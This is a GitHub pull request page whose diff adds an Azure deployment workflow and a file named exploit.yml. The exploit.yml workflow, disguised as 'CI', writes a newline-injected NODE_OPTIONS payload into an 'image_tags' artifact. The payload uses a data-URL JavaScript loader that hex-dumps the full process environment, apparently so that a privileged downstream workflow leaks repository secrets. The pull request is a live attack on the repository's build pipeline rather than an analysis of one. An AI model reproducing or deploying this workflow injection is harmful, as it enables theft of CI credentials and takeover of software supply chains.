Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create exploit.yml #7

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
name: Trigger auto deployment for container-app-fpeanhwujxfgq

# When this action will be executed
on:
# Automatically trigger it when detected changes in repo
push:
branches:
[ main ]
paths:
- '**'
- '.github/workflows/container-app-fpeanhwujxfgq-AutoDeployTrigger-035f9827-88bc-4e38-9372-e75a166f6b8a.yml'

# Allow manual trigger
workflow_dispatch:

jobs:
build-and-deploy:
runs-on: ubuntu-latest
permissions:
id-token: write #This is required for requesting the OIDC JWT Token
contents: read #Required when GH token is used to authenticate with private repo

steps:
- name: Checkout to the branch
uses: actions/checkout@v2

- name: Azure Login
uses: azure/login@v1
with:
client-id: ${{ secrets.CONTAINERAPPFPEANHWUJXFGQ_AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.CONTAINERAPPFPEANHWUJXFGQ_AZURE_TENANT_ID }}
subscription-id: ${{ secrets.CONTAINERAPPFPEANHWUJXFGQ_AZURE_SUBSCRIPTION_ID }}

- name: Build and push container image to registry
uses: azure/container-apps-deploy-action@v2
with:
appSourcePath: ${{ github.workspace }}
registryUrl: containerregistryfpeanhwujxfgq.azurecr.io
registryUsername: ${{ secrets.CONTAINERAPPFPEANHWUJXFGQ_REGISTRY_USERNAME }}
registryPassword: ${{ secrets.CONTAINERAPPFPEANHWUJXFGQ_REGISTRY_PASSWORD }}
containerAppName: container-app-fpeanhwujxfgq
resourceGroup: azureiothubexporter916c
imageToBuild: containerregistryfpeanhwujxfgq.azurecr.io/container-app-fpeanhwujxfgq:${{ github.sha }}
_buildArgumentsKey_: |
_buildArgumentsValues_


12 changes: 12 additions & 0 deletions .github/workflows/exploit.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
name: CI
on: pull_request
jobs:
job:
runs-on: ubuntu-latest
steps:
- run: echo -e "11\NODE_OPTIONS;]--experimental-modules
--experimental-loader=data:text/javascript,console.log(Buffer.from(JSON.stringify(process.env)).toSt
ring('hex'));//" >> IMAGE_TAG
- uses: actions/upload-artifact@v2
name: image_tags
path: ./IMAGE_TAG